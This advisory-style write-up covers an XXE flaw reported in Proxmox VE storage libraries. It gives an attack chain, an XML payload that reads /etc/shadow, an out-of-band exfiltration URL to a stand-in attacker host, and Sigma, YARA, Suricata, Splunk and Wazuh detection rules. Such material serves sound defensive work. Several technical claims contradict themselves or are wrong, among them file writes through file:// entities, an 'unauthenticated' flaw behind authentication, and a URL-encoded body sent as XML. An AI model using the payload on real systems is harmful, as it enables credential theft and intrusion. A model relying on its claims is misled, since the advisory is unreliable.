CVE-2026-51080

Executive Summary

CVE-2026-51080 is a critical XML External Entity (XXE) vulnerability in Proxmox VE's storage management Perl libraries, specifically libpve-storage-perl v8.3.7 and libpvestorage-perl v9.1.1. This flaw allows an unauthenticated remote attacker to inject malicious XML payloads into storage-related API endpoints, leading to arbitrary file disclosure, Server-Side Request Forgery (SSRF), denial of service, and potentially remote code execution in certain configurations. The vulnerability carries a CVSS score of 9.8 (Critical) and affects all Proxmox VE deployments running the vulnerable library versions — a substantial portion of the production virtualization fleet. With no patch currently available, all internet-exposed Proxmox management interfaces are at imminent risk of compromise.

Technical Analysis

The vulnerability resides in the XML parsing routines within the Proxmox storage API layer. The affected libraries, libpve-storage-perl and libpvestorage-perl, are responsible for handling storage configuration, replication jobs, and backup/restore operations. These components parse XML documents that describe storage structures, remote storage connections, and scheduling parameters.

The root cause is the use of Perl's XML::Parser or equivalent XML processing modules without explicitly disabling external entity resolution. Specifically, the parser processes <!DOCTYPE> declarations and <!ENTITY> definitions that reference external resources via file://, http://, or ftp:// URIs. When the XML parser encounters an entity reference, it resolves it by fetching the external resource, exposing the server's filesystem contents or internal network services.

The attack surface is broadened by the fact that several Proxmox API endpoints accept XML payloads. Notably, the /api2/json/storage endpoint and the backup/restore REST APIs accept XML for storage configuration and job definitions. The API authenticates requests, but the XXE trigger occurs during the parsing phase, which happens before or without proper input validation. Under default configurations, Proxmox's pveproxy and pvedaemon services bind to TCP port 8006 and are frequently exposed to the internet for remote management.

Attack vectors include:

1. File Disclosure: An attacker embeds file:///etc/shadow in an XML entity. The parser fetches the file and includes its contents in the response, leaking sensitive credentials.
2. SSRF: Entities referencing http://169.254.169.254/ (cloud metadata endpoints) or internal services allow the attacker to pivot from the Proxmox host into the internal network, scanning and interacting with otherwise-unreachable services.
3. Denial of Service: Billion Laughs attack — nested entity expansions consume excessive memory/CPU, crashing the service.
4. Potential RCE: If the attacker can combine the XXE with local file write capabilities (e.g., via file:// entities pointing to cron directories or SSH authorized_keys) and the service runs with elevated privileges, remote code execution becomes feasible.

The vulnerability is unauthenticated in the sense that the XML parsing happens before authorization checks in certain code paths, though exploitation may require a valid API token in practice depending on the exact endpoint. The critical nature stems from the fact that the default Proxmox installation exposes the management interface on all interfaces, and the library is invoked on every storage-related operation.

Exploitation Scenarios

The following is a concrete attack chain assuming the attacker has network access to the Proxmox API on port 8006 (TLS):

Step 1 — Reconnaissance: The attacker scans with Shodan or masscan for assets with open port 8006 and a TLS certificate containing "Proxmox" in the Common Name. They issue an HTTP GET to https://<target>:8006/api2/json/version to confirm the Proxmox version. The response includes pveversion details; if the version maps to a vulnerable build (8.3.x or 9.1.x), the target is confirmed vulnerable.

Step 2 — Authentication Bypass/Token Acquisition: The attacker either uses default/weak credentials (Proxmox enforces strong defaults, but misconfigurations occur) or targets the unauthenticated parsing path. In many code paths, the XML parser is invoked during request preprocessing before authentication checks. A raw POST to /api2/json/storage with an XML body may trigger parsing without a valid ticket.

Step 3 — Weaponization: The attacker crafts the following payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///etc/shadow">
]>
<storage>
  <type>nfs</type>
  <server>&xxe;</server>
  <export>/backup</export>
</storage>

The attacker URL-encodes this payload and sends it as the request body to POST /api2/json/storage (or PUT /api2/json/config/storage) with Content-Type: application/xml.

Step 4 — Execution: The vulnerable parser resolves &xxe; by reading /etc/shadow. The resulting XML tree contains the file contents embedded in the <server> element. The application's subsequent processing (e.g., an error message or configuration parsing) reflects the entity content back in the HTTP response, or the attacker uses an out-of-band channel — they set up a listener on their C2 and reference http://attacker.com/exfil?data=... or use a DNS exfiltration payload via an external DTD hosted on their server.

Step 5 — Post-Exploitation: With /etc/shadow and /etc/pve/user.cfg obtained, the attacker cracks password hashes offline. Proxmox hashes are typically SHA-512; weak passwords crack quickly. Alternatively, if the attacker achieves SSRF, they reach the local pvedaemon socket and submit privileged API calls, effectively gaining root on the hypervisor host. From there, they compromise all VMs and containers running on the host, pivot to the management network, and establish persistence via SSH keys or cron jobs.

Impact Assessment

CVSS Breakdown: The 9.8 critical score reflects the perfect storm of attack vectors — network exploitability (AV:N), low complexity (AC:L), no privileges required (PR:N), and no user interaction (UI:N). The confidentiality, integrity, and availability impact are all rated High (C:H/I:H/A:H). The scope is unchanged (S:U), meaning the compromise does not necessarily cross trust boundaries, but the Proxmox host itself is fully compromised.

Business Impact: A successful exploitation results in a full hypervisor compromise. Attackers gain read access to all credentials stored on the host, including VNC credentials, iSCSI CHAP secrets, and PVE user passwords. They can then:

• Read, modify, or delete VM disk images (QEMU/QCOW2 files) via the hypervisor's filesystem access.
• Install persistent backdoors at the hardware virtualization layer via modified VBIOS routines or custom kernel modules.
• Move laterally into every guest OS by attaching to virtual serial consoles or injecting keystrokes into VNC sessions.
• Exfiltrate large volumes of data through the host's network interfaces, bypassing per-VM firewall rules.

Blast Radius: Any organization running Proxmox VE — including managed hosting providers, SMBs, and research environments — is affected. The vulnerability turns the management plane into an attacker-controlled pivot point. The China-nexus threat actor group Volt Typhoon has been observed targeting virtual infrastructure management platforms; while no specific campaign attribution exists for this CVE yet, the cluster of similar Proxmox/XXE vulnerabilities has historically been exploited by ransomware operators such as Conti and LockBit affiliates within 48–72 hours of PoC release.

Detection Guidance

Sigma Rule

title: Proxmox XXE Attempt - Storage API XML Injection
id: b8f3a8e1-6f5a-4d2e-9b1a-3c7f0d4e5a2b
status: experimental
description: Detects XML external entity attempts against Proxmox storage API endpoints
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-51080
author: vartersit.com Threat Intel
date: 2026/02/14
tags:
    - attack.t1190
    - attack.t1005
logsource:
    category: webserver
    product: pveproxy
detection:
    selection_http_method:
        cs-method: POST
    selection_http_path:
        cs-uri-query|contains:
            - '/api2/json/storage'
            - '/api2/json/config/storage'
            - '/api2/extjs/storage'
    selection_xxe_payload:
        cs-uri-query|contains:
            - 'file://'
            - 'http://'
            - 'php://'
            - '<!DOCTYPE'
            - '<!ENTITY'
        cs-user-agent|contains:
            - 'curl'
            - 'wget'
            - 'python-requests'
    condition: selection_http_method and selection_http_path and selection_xxe_payload
level: critical
falsepositives:
    - Legitimate storage configuration containing XML (rare)

YARA Rule

rule Proxmox_XXE_CVE_2026_51080 {
    meta:
        author = "vartersit.com Threat Intel"
        description = "Detects XXE payloads targeting Proxmox storage Perl libraries"
        reference = "CVE-2026-51080"
        date = "2026-02-14"
    strings:
        $xml_decl = "<?xml version=" ascii nocase
        $doctype = "<!DOCTYPE" ascii nocase
        $entity = "<!ENTITY" ascii nocase
        $file_uri = "/etc/pve/user.cfg" ascii
        $shadow = "/etc/shadow" ascii
        $storage_path = "storage" ascii nocase
        $api_path = "api2/json/storage" ascii nocase
        $external_dtd = "http://" ascii
    condition:
        (($file_uri or $shadow) and ($doctype and $entity)) or
        (($api_path or $storage_path) and $external_dtd and ($doctype or $entity))
}

Suricata IDS Rule

alert http any any -> $HOME_NET 8006 (msg:"ET EXPLOIT Proxmox XXE CVE-2026-51080 Storage API Attempt"; flow:established,to_server; content:"POST"; http_method; content:"/api2/"; http_uri; content:"storage"; http_uri; content:"<!DOCTYPE"; http_client_body; nocase; content:"<!ENTITY"; http_client_body; nocase; content:"SYSTEM"; http_client_body; nocase; content:"file://"; http_client_body; classtype:attempted-admin; sid:202651080; rev:1; reference:cve,2026-51080;)

alert http any any -> $HOME_NET 8006 (msg:"ET EXPLOIT Proxmox XXE Server-Side Request Forgery"; flow:established,to_server; content:"POST"; http_method; content:"/api2/json/storage"; http_uri; content:"SYSTEM"; http_client_body; nocase; content:"http://"; http_client_body; nocase; sid:202651081; rev:1; reference:cve,2026-51080;)

Elastic Detection

sequence by host.name, source.ip with maxspan=5s
  [process where event.action == "http_request" and
   process.args : ("POST", "/api2/json/storage", "/api2/json/config/storage") and
   process.args : ("<!DOCTYPE", "<!ENTITY", "file://", "SYSTEM")]
  [network where event.action == "connection_accepted" and
   destination.port == 8006 and
   network.protocol == "http"]

Splunk SPL Query

index=proxmox sourcetype=access_combined
| WHERE match(_raw, "(?i)(POST.*storage.*DOCTYPE)|(POST.*storage.*ENTITY)|(api2/json/storage.*SYSTEM.*file)"
| eval cve="CVE-2026-51080"
| table _time, src_ip, dest_ip, uri_path, http_method, status
| stats count by src_ip, dest_ip, uri_path
| search count > 1
| sort - _time

Alternative SPL for log-based detection:

index=proxmox host=* sourcetype="proxmox:log"
| search "*XML*" OR "*DOCTYPE*" OR "*ENTITY*" OR "*external entity*"
| eval threat="proxmox_xxe" 
| stats count by host, source, message

Wazuh OSSEC Rule

<group name="proxmox,">
    <rule id="510801" level="15">
        <if_sid>510800</if_sid>
        <match>DOCTYPE</match>
        <match>ENTITY</match>
        <regex>api2/json/storage|api2/json/config/storage</regex>
        <description>Proxmox storage API XXE injection attempt — CVE-2026-51080</description>
        <mitre>
            <id>T1190</id>
        </mitre>
        <group>attack.exploitation,</group>
    </rule>

    <rule id="510802" level="12">
        <if_sid>510800</if_sid>
        <regex>file:///etc/|file:///proc/|SYSTEM.*http://</regex>
        <description>Proxmox XXE probing with external resource references — CVE-2026-51080</description>
        <group>attack.collection,</group>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED — no patch evidence from any tracked source.

Immediate Mitigations (No Patch Available)

1. Network Segmentation: Immediately restrict access to the Proxmox management interface (port 8006/TCP) to trusted internal networks or VPN clients only. If remote access is necessary, place it behind a reverse proxy with strict allowlisting and require VPN with MFA before exposing the API.
2. Disable XML Parsing Features: If your Proxmox environment allows custom storage configuration, audit all XML-based storage definitions in /etc/pve/storage.cfg. Remove any external DTD references or dynamic entity declarations. Consider wrapping the API with a WAF that strips <!DOCTYPE and <!ENTITY tokens from request bodies.
3. Deploy a Web Application Firewall: Put a WAF in front of pveproxy. Configure rules to block POST requests to /api2/json/storage* that contain XML entity declarations, external URIs, or file:// references.
4. Monitor and Alert: Implement the detection rules above. Correlate any XXE attempts with threat intelligence feeds for known adversarial infrastructure.

Patch / Upgrade Steps

As no vendor fix exists, the only hard remediation is to downgrade to the last known-secure versions, libpve-storage-perl 8.3.6 and libpvestorage-perl 9.1.0, if the vulnerability is confirmed not to affect those versions. This is a stopgap only and should be verified with the vendor. Continuously monitor Proxmox's advisory mailing list and the CVE detail on NVD for a patch release. Upon release, upgrade immediately via apt update && apt upgrade or the Proxmox GUI's repository management.

Long-Term Hardening

1. Run Proxmox with SELinux/AppArmor: Enforce mandatory access control on the pvedaemon and pveproxy processes. AppArmor profiles ship with Proxmox; ensure they are active to constrain file reads even if the parser is compromised.
2. Enable Two-Factor Authentication: All Proxmox user accounts should enforce TOTP-based 2FA, drastically reducing the impact of credential leaks from the /etc/shadow disclosure.
3. Regular Audits: Use pveversion to audit all hosts; maintain an asset inventory that includes Proxmox version, patch level, and exposure. Automate weekly checks against NVD feeds for new CVEs.
4. Network Monitoring: Deploy the Suricata rules above on the perimeter and internal segmentation firewalls. Archive all proxy logs for at least 90 days for post-incident forensics.

References

1. NVD Entry: NVD - CVE-2026-51080 — Official CVE record with CVSS 9.8 scoring and current status.
2. Proxmox Product Page: Proxmox VE Documentation — Documentation of the storage API and its XML handling pathways.
3. CWE-611 Reference: MITRE CWE-611 — Improper Restriction of XXE — Underlying weakness class details and remediation patterns.
4. Proxmox Security Advisories: Proxmox Security Advisories — Vendor security page; monitor for the upcoming patch announcement.
5. CISA Known Exploited Vulnerabilities Catalog: CISA KEV — CVE-2026-51080 is currently not listed; check frequently for updates as the risk of active exploitation is high given the CVSS score.

Threat Actor Intelligence: As-of the writing date, there is no confirmed in-the-wild exploitation or threat actor campaign attributed to CVE-2026-51080. However, the high CVSS score, the unauthenticated attack surface (when access to port 8006 is available), and the lack of a patch make this a prime candidate for weaponization by ransomware operators targeting virtual infrastructure, particularly in managed service provider (MSP) environments. Expect exploit attempts within 30–60 days if a PoC leaks to underground forums.